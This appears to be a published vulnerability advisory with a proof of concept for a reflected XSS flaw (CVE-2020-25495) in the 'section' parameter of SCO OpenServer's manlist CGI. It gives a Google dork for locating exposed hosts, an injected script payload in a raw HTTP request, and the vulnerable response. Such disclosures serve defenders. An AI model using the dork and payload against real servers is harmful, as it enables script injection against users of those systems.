SCO Openserver 5.0.7 Cross Site Scripting

2020.12.22
Credit: Ramikan
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: SCO Openserver 5.0.7 - 'section' Reflected XSS # Google Dork: inurl:/cgi-bin/manlist?section # Discovered Date: 14/06/2020 # Author: Ramikan # Vendor Homepage: https://www.xinuos.com/products # Software Link: https://www.sco.com/products/openserver507/-overview # Affected Version: Tested on 5.0.7, 6 can be affected on other versions. # Tested on: SCO Openserver 5.0.7 & version 6 # CVE : CVE-2020-25495 ************************************************************************************************************************************* Vulnerability :Refelected XSS & HTML Injection ************************************************************************************************************************************* A reflected Cross-site scripting (XSS) vulnerability in Xinuo (formerly SCO) Openserver version 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section'. Affected URL:http://host:8457/cgi-bin/manlist?section="><h1>hello</h1><script>alert(123)</script> Affected Paramenter: section ************************************************************************************************************************************* POC ************************************************************************************************************************************* Request: ************************************************************************************************************************************* GET /cgi-bin/manlist?section="><h1>hello</h1><script>alert(123)</script> HTTP/1.1 Host: 192.168.20.48:8457 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ************************************************************************************************************************************* Response: ************************************************************************************************************************************* HTTP/1.1 200 OK Date: Thu, 03 Sep 2020 17:08:51 GMT Server: Apache/1.3.36 (Unix) mod_perl/1.29 Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2680 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head> <title>Manual section "><h1>hello</h1></P><script>alert(123)</script></title> <META HTTP-EQUIV='Content-Type' CONTENT='text/html;charset=ISO-8859-1'> <link rel="stylesheet" type="text/css" href="/styles/lin_moz.css" /> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body bgcolor="#FFFFFF" topmargin="0" marginheight="0"> <!-- Begin DocView navigation toolbar --> <!--htdig_noindex--> <table class=dvtb width="100%" cellpadding=0 cellspacing=0 border=0 style="padding: 0;" > <tr valign=top class=dvtb> <td class=dvdb> <table class=dvtb cellpadding=3 cellspacing=1 border=0 bgcolor=#FFFFFF width=611 > <tr class=dvtb> <td class=dvtb align=center style="background: #2059A6;"> <a href="/en/index.html" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;"> DOC HOME </a></td> <td class=dvtb align=center style="background: #2059A6;"> <a href="/en/Navpages/sitemap.html" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;"> SITE MAP </a></td> <td class=dvtb align=center style="background: #2059A6;"> <a href="/cgi-bin/manform?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;"> MAN PAGES </a></td> <td class=dvtb align=center style="background: #2059A6;"> <a href="/cgi-bin/infocat?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;"> GNU INFO </a></td> <td class=dvtb align=center style="background: #2059A6;"> <a href="/cgi-bin/search?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;"> SEARCH </a></td> </tr> </table> </td> <td class=dvtb align="left" width=100%> <table class=dvtb cellpadding="3" cellspacing="1" border="0" width="100%" bgcolor="#FFFFFF" > <tr class=dvtb valign="top"> <td class=dvtb style="background: #2059A6;" align=center width=100%> <a name=null class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;" > &nbsp; </a> </td> </tr> </table> </td> </tr> </table> <!--/htdig_noindex--> <!-- End DocView navigation toolbar --> <h1>Manual section<h1>Manual section "><h1>hello</h1></P><script>alert(123)</script></h1><PRE> </PRE> </body></html>


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